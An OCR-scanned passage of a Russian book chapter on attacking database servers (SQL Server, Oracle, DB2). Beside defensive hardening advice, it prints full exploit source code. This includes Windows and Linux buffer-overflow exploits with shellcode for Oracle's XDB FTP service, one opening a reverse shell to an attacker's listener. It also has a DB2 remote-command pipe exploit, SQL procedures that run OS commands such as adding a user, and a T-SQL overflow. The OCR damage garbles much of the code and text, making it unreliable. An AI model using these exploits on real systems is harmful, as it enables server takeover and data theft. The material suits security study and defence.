ГЛАВА 19 Атаки на СУБД Сравнение серверов баз данных с веб-серверами показывает, что веб-серверы на удивление лучше защищены от атак. Дело даже не в функциональности; веб-серверы подключены напрямую к Интернету, а серверы баз данных запрятаны далеко за брандмауэрами где-то внутри сети. Как правило, клиенты требуют, чтобы их веб-серверы были как можно лучше защищены, но как это ни странно, при этом гораздо равнодушнее относятся к защите своих баз данных. Хочется верить, что после знакомства с этой главой вы разделите наше мнение: администраторам баз данных следует поменьше беспокоиться о быстродействии и побольше — о защите данных. Фирмы-разработчики начинают думать об улучшении защиты своих программных серверов баз данных только тогда, когда мы этого требуем. Однако это не значит, что разработчик вашей СУБД лучше или хуже других. Впрочем, в недавнем прошлом некоторые крупные представители рынка реляционных СУБД выступили с чрезвычайно положительными инициативами, связанными с безопасностью. Нужно еще многое сделать, но по крайней мере движение идет в правильном направлении. Давайте изучим некоторые методы, при помощи которых нападающие могут взять под свой контроль серверы баз данных. Зная, как это делается, администратор баз данных сможет спроектировать и реализовать более надежную оборонительную стратегию. Серверы баз данных хранят информацию в структурированном виде; логически связанные данные группируются в столбцах таблиц. Для выборки, обновления и удаления данных используется язык SQL (Structured Query Language — язык структурированных запросов). Кроме того, разработчики СУБД включают в них дополнительные возможнос!и, создавая расширения стандартной версии SQL (Transact-SQL, или T-SQL в Microsoft SQL Server, PL/SQL в Oracle) и расширенные хранимые процедуры. Слабые места большинства серверов баз данных сосредоточены именно в этих областях. Функциональность и безопасность связаны обратной зависимостью: чем шире функциональность приложения, тем проще его взломать. Атаки против серверов баз данных обычно проводятся на сетевом или прикладном уровне. Первый вариант обычно сопряжен с решением низкоуровневых проблем, а во втором приходится работать с SQL. В этой главе рассмотрены некоторые проблемы серверов Microsoft SQL Server, Oracle и IBM DB2.
352 Глава 19. Атаки на СУБД Атаки сетевого уровня Большинство атак сетевого уровня обычно сопряжено с эксплуатацией уязвим мостей. В прошлом реляционные СУБД Oracle и Microsoft содержали многоч численные уязвимости сетевого уровня. Например, при передаче слишком длинного имени пользователя процедура входа в Oracle происходило переполнение буфера, позволявшее нападающем)/! взять программу под полный контроль. Дефект был обнаружен Марком Лич» филдом (Mark Lichfield) из NGS Software и исправлен Oracle в апреле 2003 год! (http://otn.oracle.com/deploy/security/pdf/2003alert51.pdf). В Microsoft SQL Server также существовала уязвимость переполнения буфера в стеке: первый пакет, отправленный клиентом и содержавший только сигнатуч ру MSSQLServer, мог использоваться для перехвата управления. Дефект был обнаружен Дэйвом Айтелом (Dave Aitel), который назвал его «дефектом Hello», Компания Microsoft исправила ошибку в октябре 2002 года (www.microsoft.com/ technet/treeview/default.asp?url=/technet/security/buUetin/ms02-056.asp). Для эксплуатации дефектов сетевого уровня нельзя полагаться на клиентский инструментарий, обеспечивающий создание пакетов соответствующего протокола; вам придется писать код самостоятельно, анализируя протокол непосредственно «на линии». Для этого необходима программа перехвата пакетом (NGSniff, Network Monitor, tcpdump или Ethereal) и доступ к программному обеспечению сервера. Разработка кода для эксплуатации уязвимости сетевого уровня может идти двумя путями. Во-первых, можно сохранить содержимое пакета, скопировать его в свой код и с небольшими изменениями передать серверу; во-вторых, можно написать библиотеку для используемого протокола. Преимуществом первого подхода является быстрота. Второй подход требует больше времени, но после написания библиотеку можно будет задействовать для следующей атаки сетевого уровня. Хороший источник информации о протоколе Oracle TNS (Transparent Network Substrate) документирован Яном Ред- ферном (Ian Rcdford) и находится по адресу http://public.logicacmg.com/ -redferni/oracle/Oracle-ProtocoLhtml. Документация по протоколу Microsoft TDS (Tabular Data Stream), написанная по материалам исследований Брайана Бруп- са (Brian Bruns), находится по адресу www.freetds.org/tds.html. Многие программные пакеты серверов баз данных дают пользователям возможность производить выборку данных без помощи SQL. Обычно речь идет о применении других стандартных протоколов, таких как HTTP и FTP. Например, Oracle 9 поддерживает протокол Oracle XDB (XML Database) на базе HTTP (порт 8080) и FTP (порт 2100). Поддержка XDB устанавливается по умолчанию, причем обе версии XDB (и для HTTP, и для FTP) уязвимы в отношении переполнения. Передача слишком длинного имени пользователя пли пароля веб-службе приводит к переполнению буфера в стеке. Причем выясняется, что на пути к замене адреса возврата также заменяется значение целочисленной неременной, которая затем передается при вызове memcpy() и определяет количество копируемых байтов. Так как строка переполнения не может содержать нулей, наименьшее целое, которое можно задать, равно 0x01010101.
Атаки сетевого уровня 353 Тем не менее, оно все равно остается слишком большим, и вызов memepy приводит к нарушению сегментации. На первый взгляд это делает невозможным эксплуатацию уязвимости на таких платформах, как Linux (на первый взгляд, потому что утверждать этого с полной уверенностью нельзя; вполне вероятно, что .жеплуатировать данную уязвимость можно и в Linux, просто мы потратили на нее недостаточно времени). В то же время в Windows можно заменить в стеке структуру EXCEPTION_REGISTRATION и использовать ее для перехвата управления программой. Аналогичный недостаток присущ и FTP-службе — слишком длинное имя пользователя или пароль приводят к переполнению буфера в стеке. Впрочем, в FTP- службе XDB существует еще несколько вариантов переполнения. Наряду с большинством стандартных FTP-команд Oracle также поддерживает несколько собственных команд. Две из них, TEST и UNLOCK, доступны для переполнения буферов в стеке, и оба дефекта могут эксплуатироваться на любой платформе. Мы представим два примера эксплуатации переполнения для Windows и Linux. Переполнение XDB для Windows: #include <stcho.h> #include <windows h> #include <winsock h> "int GainControlOfOracle(char *, char *), int StartWinsock(void), int SetUpExploiKchar *,mt). struct sockaddr_in s_sa, struct hostent *he, unsigned int addr, char host[260]="\ unsigned char exploit[508]= "\x55\x8B\xEC\xEB\x03\x5B\xEB\x05\xE8\xF8\xFF\xFF\xFF\xBE\xFF\xFF" "\xFF\xFF\x81\xF6\xDC\xFE\xFF\xFF\x03\xDE\x33\xC0\x50\x50\x50\x50" ,,\x50\x50\x50\x50\x50\x50\xFF\xD3\x50\x68\x61\x72\x79\x41\x68\x4C" ,,\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\xFF\x75\xFC\xFF\x55\xF4\x89,, n\x45\xF0\x83\xC3\x63\x83\xC3\x5D\x33\xC9\xBl\x4E\xB2\xFF\x30\xl3" n\x83\xEB\x01\xE2\xF9\x43\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xEC" n\x83\xC3\xlO\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xE8\x83\xC3\xOC" n\x53\xFF\x55\xF0\x89\x45\xF8\x83\xC3\x0C\x53\x50\xFF\x55\xF4\x89n "\x45\xE4\x83\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xE0\x83" n\xC3\xOC\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xDC\x83\xC3\x08\x89" ,,\x5D\xD8\x33\xD2\x66\x83\xC2\x02\x54\x52\xFF\x55\xE4\x33\xC0\x33" "\xC9\x66\xB9\x04\x01\x50\xE2\xFD\x89\x45\xD4\x89\x45\xD0\xBF\x0A" "\x01\x01\x26\x89\x7D\xCC\x40\x40\x89\x45\xC8\x66\xB8\xFF\xFF\x66" n\x35\xFF\xCA\x66\x89\x45\xCA\x6A\x01\x6A\x02\xFF\x55\xE0\x89\x45" n\xE0\x6A\xl0\x8D\x75\xC8\x56\x8B\x5D\xE0\x53\xFF\x55\xDC\x83\xC0M "\x44\x89\x85\x58\xFF\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45\x84" "\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98\x8D\xBD\x48\xFF\xFF\xFF\x57" n\x8D\xBD\x58\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83\xC0\x01\x50" "\x83\xE8\x01\x50\x50\x8B\x5D\xD8\x53\x50\xFF\x55\xEC\xFF\x55\xE8" "\x60\x33\xD2\x83\xC2\x30\x64\x8B\x02\x8B\x40\xOC\x8B\x70\xlC\xAD" "\x8B\x50\x08\x52\x8B\xC2\x8B\xF2\x8B\xDA\x8B\xCA\x03\x52\x3C\x03"
354 Глава 19. Атаки на СУБД "\x42\x78\x03\x58\xlC\x51\x6A\xlF\x59\x41\x03\x34\x08\xb9\x03\x48" "\x24\x5A\x52\x8B\xFA\x03\x3E\x81\x3F\x47\x65\x74\x50\x74\x08\x83" M\xC6\x04\x83\xCl\x02\xEB\xEC\x83\xC7\x04\x81\x3F\x72\x6F\x63\x41M M\x74\x08\x83\xC6\x04\x83\xCl\x02\xEB\xD9\x8B\xFA\xOF\xB7\x01\x03M "\x3C\x83\x89\x7C\x24\x44\x8B\x3C\x24\x89\x7C\x24\x4C\x5F\x61\xC3" "\x90\x90\x90\xBC\x8D\x9A\x9E\x8B\x9A\xAF\x8D\x90\x9C\x9A\x8C\x8C" "\xBE\xFF\xFF\xBA\x87\x96\x8B\xAB\x97\x8D\x9A\x9E\x9B\xFF\xFF\xA8" M\x8C\xCD\xA0\xCC\xCD\xDl\x9B\x93\x93\xFF\xFF\xA8\xAC\xBE\xAC\x8B" "\x9E\x8D\x8B\x8A\x8F\xFF\xFF\xA8\xAC\xBE\xAC\x90\x9C\x94\x9A\x8B" "\xBE\xFF\xFF\x9C\x90\x91\x91\x9A\x9C\x8B\xFF\x9C\x92\x9B\xFF\xFF" "\xFF\xFF\xFF\xFF", char exploit_code[8000]= "UNLOCK / aaaabbbbccccddddeeeeffffgggghhhhiilijjjjkkkkl11Immmmnnn" "nooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAAAABBBBCCCCD" "DDDEEEEFFFFGGGGHHHHI11IJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSST" "TTTUUUUVVVVWWWWXXXXYYYYZZZZabcdefghijklmnopqrstuvwxyzABCDEFGHIJK" "LMNOPQRSTUVWXYZ0000999988887777666655554444333322221111098765432" "laaaabbbbcc"; char exception_handler[8]="\x79\x9B\xf7\x77"; char short_jump[8]="\xEB\x06\x90\x90"; int maindnt argc, char *argv[]) { if(argc != 6) { printf("\n\n\tOracle XDB FTP Service UNLOCK Buffer Overflow Exploit"); pnntf("\n\t\tfor Blackhat (http //www blackhat com)"); pnntf("\n\n\tSpawns a reverse shell to specified port"). prmtf("\n\n\tUsage \Us host userid password ipaddress port".argv[0]); printf("\n\n\tDavid Litchfield\n\t(david@ngssoftware com) printf("\n\t6th July 2003\n\n\nM); return 0; } strncpy(host.argv[l].250), if(StartWinsock()==0) return pnntf("Error starting WinsockAn"); SetUpExploit(argv[4].atoi(argv[5])); strcat(exploit_code.short_jump). strcat(exploi t_code.excepti on_handl er). strcat(exploit_code.exploit). strcat(exploit_code."\r\n"). GainControlOfOracle(argv[2].argv[3]). return 0. } int SetUpExploit(char *myip. int myport) (
Атаки сетевого уровня 355 unsigned int ip=0. unsigned short prt=0. char *ipt="\ char *prtt=""; ip = inet_addr(myip). ipt = (char*)&ip; exploit[191]=ipt[0], exploit[192]=ipt[l]; exploit[193]=ipt[2], exploit[194]=ipt[3], // Назначить TCP-порт для подключения // Программа netcat должна вести прослушивание по этому порту // Например, пс -1 -р 80 prt = htons((unsigned short)myport); prt = prt " OxFFFF, prtt = (char *) &prt. exploit[209]=prtt[0], exploit[210]=prtt[l]. return 0. } int StartWinsockO { int err=0. WORD wVersionRequested. WSADATA wsaData. wVersionRequested = MAKEW0RD( 2, 0 ), err = WSAStartup( wVersionRequested. &wsaData ). if ( err l= 0 ) return 0. if (L0BYTE( wsaData wVersion ) '= 2 || HIBYTEC wsaData wVersion ) '= 0) { WSACleanup( ). return 0; } if dsalpha(host[0])) { he = gethostbyname(host). s_sa sin_addr.s_addr=INADDR_ANY. s_sa sin_family=AF_INET. memcpy(8(S_sa sin_addr,he->h addr.he->h length). } else { addr = inet_addr(host). s_sa sin_addr s_addr=INADDR_ANY. s_sa sin_family=AF_INET, memcpy(&s_sa sin_addr.&addr.4). he = (struct hostent *I. 1
356 Глава 19. Атаки на СУБД if (he == NULL) { return 0, } return 1; } int GainControlOfOracle(char *user, char *pass) { char usercmd[260]="user "; char passcmd[260]="pass "; char resp[1600]=""; int snd=0,rcv=0, struct sockaddMn r_addr; SOCKET sock; strncat(usercmd,user,230), strcat(usercmd,"\r\n"), strncat(passcmd,pass,230); strcat(passcmd,"\r\n"). sock=socket(AF_INET,SOCK_STREAM,0); if (sock==INVALID_SOCKET) return printfC sock error"); r_addr.sin_family=AF_INET, r_addr sin_addr s_addr=INADDR_ANY, r_addr.sin_port=htons((unsigned shortH), s_sa sin_port=htons((unsigned shortJ100), if (connect(sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR) return printfC"Connect error"); rev = recv(sock.resp,1500,0), printf("Us",resp); ZeroMemory(resp,1600), snd=send(sock, usercmd , strlen(usercmd) , 0), rev = recv(sock,resp,1500,0), pnntf('ls",resp), ZeroMemory(resp,1600), snd=send(sock, passcmd , strlen(passcmd) , 0), rev = recv(sock,resp,1500,0), printf("%s",resp), lftresptOl—'S') { closesocket(sock). return pnntfC'Failed to log in using user %s and password Us \n".user.pass); } ZeroMemory(resp,1600), snd=send(sock, exploit_code, strlen(exploit_code) , 0),
Атаки сетевого уровня 357 SleepB000). closesocket(sock); return 0; } Переполнение XDB для Linux: #include <stdio.h> #include <sys/types.h> #include <sys/socket h> #include <netinet/in h> #include <arpa/inet.h> #include <netdb.h> int maindnt argc, char *argv[]) { struct hostent *he, struct sockaddr_in sa; int sock; unsigned int addr = 0; char recvbuffer[512]="", char user[260]="user char passwd[260]="pass "; int rcv=0, int snd =0; int count = 0, unsigned char nop_sled[1804]='"\ unsigned char saved_return_address[]="\x41\xc8\xff\xbf"; unsigned char exploit[2100]="unlock / AAAABBBBCCCCDDDDEE" "EEFEFFGGGGHHHHIIIIJJJJKKKK" "LLLLMMMMNNNNOOOOPPPPQQQ" "QRRRRSSSSTTTTUUUUVVVVWWW" "WXXXXYYYYZZZZaaaabbbbccccdd"; unsigned char code[]= "\x31\xdb\x53\x43\x53\x43\x53\x4b\x6a\x66\x58\x54\x59\xcd" M\x80\x50\x4b\x53\x53\x53\x66\x68\x41\x41\x43\x43\x66\x53" ,,\x54\x59\x6a\xl0\x51\x50\x54\x59\x6a\x66\x58\xcd\x80\x58" "\x6a\x05\x50\x54\x59\x6a\x66\x58\x43\x43\xcd\x80\x58\x83" "\xec\xl0\x54\x5a\x54\x52\x50\x54\x59\x6a\x66\x58\x43\xcd" "\x80\x50\x31\xc9\x5b\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58" "\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x6a\x0b\x58\x99\x52\x68" "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x54\x5b\x52\x53\x54" "\x59\xcd\x80\r\n\ if(argc l=4) { prmtf("\n\n\tOracle XDB FTP Service UNLOCK Buffer Overflow Exploit"), printf("\n\t\tfor Blackhat (http //www blackhat com)"), printf("\n\n\tSpawns a shell listening on TCP Port 16705"); printf("\n\n\tl)sage \Us host usend password" ,argv[0]), printf("\n\n\tDavid Litchfield\n\t(david@ngssoftware com)"):
358 Глава 19. Атаки на СУБД printf("\n\t7th July 2003\n\n\n"). return 0, } while(count < 1800) { nop_sled[count++]=0x90, } // Построение кода strcat(exploit.saved_return_address); strcat(exploit,nop_sled), strcat(exploit.code); // Обработка аргументов strncat(user,argv[2],240), strncat(passwd.argv[3],240), strcat(user."\r\n"), strcat(passwd,"\r\n"), // Подготовка сокета sa.sin_addr s_addr=INADDR_ANY, sa sinjfamily = AF_INET. sa.sin_port = htons((unsigned short) 2100); // Определение целевого хоста if(isalpha(argv[l][0])==0) { addr = "inet_addr(argv[l]); memcpy(&sa.si n_addr,&addr.4), } else { he = gethostbyname(argv[l]), if(he == NULL) return printfC'Couldn't resolve host ?s\n".argv[l]). memcpy(&sa sin_addr,he->h_addr.he->h_length), } sock = socket(AF_INET.SOCK_STREAM.O), if(sock < 0) return printfC'socketO failed \n"). if(connect(sock.(struct sockaddr *) &sa.sizeof(sa)) < 0) { close(sock). return printf("connect() failed \n"). } pnntf("\nConnected to %s . \n" ,argv[l]), // Получение и печать баннера rev = recv(sock.recvbuffer,508,0), if(rcv > 0) { printf("$s\n".reevbuffer),
Атаки сетевого уровня 359 bzero(recvbuffer,rcv+l), } else { close(sock); return printf("Problem with recv()\n"), } // Отправка команды user snd = send(sock.user.strlen(user).0). if(snd != strlen(user)) { close(sock). return printf ("Problem with sendO. An"); } else { printf("Us".user), } // Получение ответа Код ответа должен быть равен 331 rev = recv(sock,reevbuffer.508,0). if(rcv > 0) { if(recvbuffer[0]==0x33 && recvbuffer[l]==0x33 && recvbuffer[2]==0x31) { pnntf("%s\n" .reevbuffer), bzero(recvbuffer,rcv+l), } else { close(sock), return pnntfC'FTP response code was not 331 \n"), } } else { close(sock), return printf("Problem with recv()\n"), } // Отправка команды pass snd = send(sock,passwd,strlen(passwd),0), if(snd l= strlen(user)) { close(sock), return printf ("Problem with sendO \n"), } else printf("%s",passwd), // Получение ответа Если ответ отличен от 230, II попытка входа завершилась неудачей rev = recv(sock,reevbuffer,508.0). Tf(rcv > 0)
360 Глава 19. Атаки на СУБД i f(recvbuffer[0]==0x32 && recvbuffer[l]==0x33 && recvbuffer[2]==0x30) { pnntf("%s\n",recvbuffer), bzero(recvbuffer,rcv+1), } else { close(sock), return printfCFTP response code was not 230. Login failed \n"); } } else { close(sock); return pnntf("Problem with recv()\nM); } // Отправка команды UNLOCK с внедряемым кодом snd = send(sock,exploit,strlen(exploit).0); if(snd != strlen(exploit)) { close(sock); return printf("Problem with sendO.. \n"); } // Должны получить признак ошибки 550 rev = recv(sock,recvbuffer,508,0), if(rcv > 0) pnntf ("%s\n", reevbuffer), printf("\n\nExploit code sent \n\nNow telnet to %s 16705\n\n",argv[l]), close(sock), return 0, } Если Oracle предоставляет службу доступа к базе данных через HTTP и FTP, DB2 предлагает доступ к JDBC Applet Server через порт TCP 6789. Такая возможность существует для того, чтобы веб-клиенты могли загрузить и выполнить в своем браузере Java-апплет для запроса к базе данных. Однако это сопряжено с очевидным риском, связанным с поступающими от клиента запросами. То, что запрос может быть жестко закодирован в апплете, ничего не значит — нападающий может просто переслать свой запрос. JDBC Applet Server передает запрос серверу базы данных, а результаты возвращаются клиенту. Не стоит и говорить, что эта функция чрезвычайно опасна, а при ее использовании необходима осторожность. Как известно, в 2003 году у Microsoft возникли проблемы с червем Slammer. Slammer использовал переполнение буфера в стеке, при котором на порт 1434 передавался UDP-пакет с первым байтом 0x04, за которым следовала очень длинная строка. По этому поводу было написано немало статей; при желании вы легко найдете информацию в Интернете.
ВЫПОЛНеМИе Киммпдиморацкюппии uriuiwmwt Атаки прикладного уровня Атаки прикладного уровня делятся на две категории. В атаках первой категории функции сервера используются для выполнения команд операционной системы, а в атаках второй категории выполнение функций сервера организуется путем переполнения буфера. В любом случае код эксплуатации уязвимости пишется на SQL (или T-SQL, или PL/SQL) и может выполняться в стандартной клиентской SQL-программе. Учитывая тот факт, что язык SQL и его расширения являются эквивалентами языка программирования, атаку можно скрыть особым кодированием. Целевой программе очень трудно защититься от атак подобного рода и даже просто обнаружить их, если анализ ведется только на прикладном уровне. Системы обнаружения вторжений (Intrusion Detection Systems, IDS) и даже системы предотвращения вторжений (Intrusion Prevention Systems, IPS) не замечают, что происходит что-то неподобающее. Рассмотрим простой пример: перед непосредственным проведением атаки внедряемый код, который может быть зашифрован, помещается в таблицу. Затем следующий запрос (возможно, выполняемый через несколько недель) производит выборку кода в переменную и исполняет ее командой EXEC. Первый запрос: INSERT INTO TABLE1 (foo) VALUES ('EXPLOIT1) Второй запрос: DECLARE @bar varcharE00) SELECT @bar = foo FROM TABLE1 EXEC (@bar) Кто-нибудь скажет, что такие атаки можно распознать по динамическому вызову EXEC... Можно, конечно, однако подобные запросы не выходят за рамки нормальной работы, и отличить такую атаку от обычного запроса невозможно. На данный момент, чтобы обеспечить безопасность сервера базы данных лучше не полагаться на системы IPS/IDS, а потратить время на основательную блокировку сервера. Выполнение команд операционной системы При наличии должных привилегий (а очень часто и без них) многие реляционные СУБД позволяют пользователю выполнять команды операционной системы. Зачем разрешать подобные вещи? Причин может быть много (например, как показано далее, эта функция часто необходима для установки обновлений системы безопасности Microsoft SQL Server), но, по нашему мнению, оставлять подобные лазейки слишком опасно. Подход к выполнению команд операционной системы через СУБД зависит от производителя программы. Microsoft SQL Server Даже если вы знаете о Microsoft SQL Server не так уж много, вероятно, вы слышали о расширенной хранимой процедуре xp_cmdshell. Обычно выполнение
362 Глава 19. Атаки на СУБД xp_cmdshell разрешается только пользователям с привилегиями системного администратора, но за последние годы были обнаружены некоторые уязвимости, позволяющие выполнять ее непривилегированному пользователю. Процедура xp_cmdshell получает один параметр — выполняемую команду. Команда обычно выполняется в контексте безопасности учетной записи, с правами которой работает SQL Server; нередко это всего лишь учетная запись LOCAL SYSTEM. В некоторых случаях создается промежуточная учетная запись, и команда выполняется в контексте безопасности этой учетной записи: exec master xp_cmdshell Сdir > c.\foo.txt') Хотя возможность вызова xp_cmdsheU в прошлом часто приводила к нарушению системы безопасности SQL Server, процедура используется многими обновлениями. Для обеспечения безопасности рекомендуется удалить эту расширенную хранимую процедуру и переместить файл xplog70.dll из каталога Ыпп. Когда потребуется применить обновление системы безопасности, верните xplog70.dll в каталог Ыпп и добавьте xp_cmdsheU заново. Oracle Существуют два способа выполнения команд операционной системы средствами Oracle, хотя ни один из них не существует в готовом виде — имеются только общие рекомендации по их применению. Первый способ основан на использовании хранимых процедур PL/SQL. Язык PL/SQL расширяется таким образом, чтобы процедура могла вызывать функции, экспортированные библиотеками операционной системы. Это позволяет нападающему загрузить С-библиотеку времени исполнения (msvcrt.dll или libc) и выполнить системную С-функцию system (). Вызванная функция выполняет команду, как показано в следующем листинге: CREATE OR REPLACE LIBRARY exec_shell AS 'C:\winnt\system32\msvcrt dll'; / show errors CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR); end oracmd, / show errors CREATE OR REPLACE PACKAGE BODY oracmd IS PROCEDURE exec(cmdstring IN CHAR) IS EXTERNAL NAME "system" LIBRARY exec_shell LANGUAGE C, end oracmd. / exec oracmd exec ('net user ngssoftware password1! /add'). Для создания такой процедуры пользовательская учетная запись должна обладать привилегией CREATE/ALTER (ANY) LIBRARY. В последних версиях Oracle возможность загрузки библиотек ограничивается каталогом ${0RACLE_H0ME}\bin. Тем не менее, атака «двойной точки» позволяет вырваться из этого каталога и загрузить произвольную библиотеку: CREATE OR REPLACE LIBRARY exec_shell AS ' \ \ \ \ \winnt\system32\msvcrt dll\
Выполнение команд операционной системы 363 Не стоит и говорить, что при выполнении атаки в Unix необходимо привести имя библиотеки в соответствие с путем libc. Кстати говоря, некоторые версии Oracle можно было обмануть и заставить их выполнять команды операционной системы, даже не притрагиваясь к основным службам СУБД. При загрузке библиотеки Oracle подключается к модулю TNS Listener, а последний выполняет небольшую программу extproc, которая и осуществляет непосредственную загрузку библиотеки и вызов функции. Подключившись непосредственно к TNS Listener, можно заставить его выполнить extproc. Таким образом, нападающий без идентификатора пользователя и пароля мог взять сервер Oracle иод полный контроль. Дефект был исправлен. IBM DB2 СУБД IBM DB2 напоминает Oracle, и в пей также присутствуют дефекты, но несколько иные. Как и Oracle, DB2 позволяет создать процедуру для выполнения команд операционной системы, но по умолчанию такая возможность предоставляется любому пользователю. При установке DB2 пользователю PUBLIC по умолчанию назначается привилегия IMPLICIT_SCHEMA, позволяющая создать новую схему. Владельцем схемы является SYSIBM, но PUBLIC предоставляются права па создание объектов в этой схеме. В результате непривилегированный пользователь может создать новую схему и определить в ней процедуру: CREATE PROCEDURE rootdb2 (IN cmd varcharB00)) EXTERNAL NAME 'c \winnt\system32\mscvrt1system' LANGUAGE С DETERMINISTIC PARAMETER STYLE DB2SQL call rooLdb2 Cdir > с \db2 txt') Чтобы непривилегированные пользователи не могли проводить подобные атаки, проследите за тем, чтобы пользователь PUBLIC был лишен привилегии IMPLICIT_ SCHEMA. В DB2 также существует другой (без применения SQL) механизм выполнения команд операционной системы. Для упрощения администрирования имеется процедура для сервера Remote Command Server, предназначенная, как следует из ее названия, для удаленного выполнения команд. На платформе Windows этот сервер db2rcmd.exe поддерживает открытый именованный канал DB2REM0TECMD; удаленные клиенты могут подключаться к нему, передавать команды и получать результаты. Перед отправкой команды первая операции записи производит согласование, а сама команда передается второй операцией записи. При получении этих двух операций запускается отдельный процесс db2rcdmc.exe, который отвечает за выполнение команды. Сервер запускается и работает в контексте безопасности учетной записи db2admin, которой по умолчанию назначаются административные привилегии. После выполнения db2rcdmc и команды эти привилегии не теряются. Для подключения к каналу DB2REM0TECMD клиенту потребуется идентификатор пользователя и пароль, но при их наличии даже непривилегированный пользователь сможет выполнять команды с административными правами. Не стоит и говорить, какую угрозу
364 Глава 19. Атаки на СУБД для безопасности создает такая возможность. Как минимум IBM следовало бы изменить код сервера Remote Command Server так, чтобы перед выполнением вызывалась функция ImpersonateNamedPipeClient. В этом случае команда выполнялась бы с привилегиями пользователя, от которого поступил запрос. Как максимум следовало бы защитить именованный канал и разрешать обращение к службе только пользователям, обладающим административными привилегиями. Следующая программа выполняет команду на удаленном сервере и возвращает результаты: #include <stdio.h> #include <windows.h> int maindnt argc, char *argv[]) { char buffer[540]=,,n, char NamedPipe[260]="\\\\"; HANDLE rcmd=NULL, char *ptr = NULL: int len =0: DWORD Bytes = 0: if(argc !=3) { printf("\n\tDB2 Remote Command Exploit.\n\n"); printfCUUsage- db2rmtcmd target \"command\"\n"): printf("\n\tDavid Litchfield\n\t( david@ngssoftware com)\n\t6th September 2003\nM): return 0. } strncat(NamedPipe,argv[l],200), strcat(NamedPipe,"\\pipe\\DB2REM0TECMD"): // Сообщение для согласования ZeroMemory(buffer,540); buffer[0]=0x01. ptr = &buffer[4]: strcpy(ptr>,,DB2"), len = strlen(argv[2]). buffer[532]=(char)len; // Открытие именованного канала rcmd = CreateFile(NamedPipe,GENERIC_WRITE|GENERIC_READ.O, NULL.OPEN JXISTING.O.NULL). if(rcmd == INVALID_HANDLE_VALUE) return pnntfCFailed to open pipe %s Error %6 \n\NamedPipe.GetLastErrorO): // Отправка согласования len = WnteFile(rcmd,buffer.536,&Bytes,NULL), if(llen) return pnntfC'Failed to write to %s Error %6 \n".NamedPipe.GetLastError()).
Атаки на уровне SQL 365 ZeroMemory(buffer.540); strncpy(buffer,argv[2],254). // Отправка команды len = WriteFile(rcmd,buffer,strlen(buffer),&Bytes,NULL); if(llen) return printf("Failed to write to *s. Error &j.\n".NamedPipe.GetLastErrorO); // Чтение результатов while(len) { len = ReadFile(rcmd,buffer,530,&Bytes.NULL); printfCUs". buffer); ZeroMemory(buffer,540); } return 0, } Разрешать удаленное выполнение команд небезопасно, поэтому эту функцию следует по возможности отключать. Мы представили ряд способов выполнения команд операционной системы с использованием реляционных СУБД. Конечно, существуют и другие методы. Мы рекомендуем тщательно проанализировать ваше программное обеспечение, выявить его слабости и предпринять действия для предотвращения возможных атак. Атаки на уровне SQL Использовать дефекты на уровне SQL проще, чем на более низких уровнях. Впрочем, это не означает, что низкоуровневые дефекты сопряжены с особыми сложностями — усложнение получается совсем небольшим. Работать на уровне SQL проще хотя бы потому, что мы можем задействовать клиентские инструменты (такие как Microsoft Query Analyzer и Oracle SQL*Plus) для инкапсуляции запроса с помощью таких протоколов высокого уровня, как TDS и TNS. Остается лишь написать код атаки на соответствующем расширении SQL. SQL-функции Большинство уязвимостей переполнения на уровне SQL существуют в функциях и расширенных хранимых процедурах. В самой подсистеме синтаксического разбора языка SQL уязвимости обнаруживаются крайне редко. Впрочем, это логично — от механизма разбора требуется максимальная надежность и умение справляться с бесчисленными разновидностями запросов; код должен быть свободен от ошибок. С другой стороны, функции и хранимые процедуры обычно создаются для решения одной-двух специализированных задач; их код реже подвергается доскональному изучению.
366 Глава 19. Атаки на СУБД Большая часть кодов, обычно используемых при эксплуатации уязвимостей, не относится к кодировке ASCII; по этой причине нам потребуется метод передачи печатных ASCII-символов по каналу. На первый взгляд задача кажется сложной, но это не так. Как упоминалось ранее, количество реализованных вариантов переполнения на уровне SQL безгранично — расширения SQL обеспечивают мощную среду программирования. Рассмотрим несколько примеров. Использование функции CHR или CHAR В большинстве реализаций SQL присутствует функция CHR или CHAR, которая получает число и преобразует его в символ. С ее помощью может быть получен исполняемый код. Допустим, мы хотим, чтобы код выполнял команду call eax; в двоичном представлении эта команда кодируется байтами OxFF и OxDO. Код Microsoft SQL будет выглядеть так: DECLARE @foo varcharB0) SELECT @foo = CHARB55) + CHARC208) В Oracle используется функция CHR(). Иногда удается обойтись даже без функций CHR и CHAR. Можно просто передать байты в шестнадцатеричном виде: SELECT @foo = OxFFDO Понятно, что при использовании подобных методов не будет проблем с передачей двоичного кода. В качестве примера рассмотрим следующий код T-SQL, реализующий переполнение буфера в стеке Microsoft SQL Server 2000. -- Простое переполнение буфера в OpenDataSourceO -- Показывает, как использовать переполнения в Unicode с T-SQL -- Вызывает CreateFileO для создания файла с \SQL-0DSJET-B0 -- Сохраненный адрес возврата заменяется значением 0x42B0C9DC -- Работает в SQL 2000 SP1 и SP2 -- Адрес содержит команду jmp esp -- Для исправления дефекта следует загрузить последнее обновление -- Jet Service Pack от Microsoft - http-//www microsoft com/ -- Дэвид Личфилд (david@ngssoftware com) -- 19 июня 2002 г. declare (^exploit nvarcharD000) declare @padding nvarcharB000) declare @saved_return_address nvarcharB0) declare @code nvarchar(lOOO) declare @pad nvarcharA6) declare @cnt int declare @more_pad nvarchar(lOO) select (Pent = 0 select @padding = 0x41414141 select @pad = 0x4141 while @cnt < 1063 Degin select (^padding = @padding + @pad
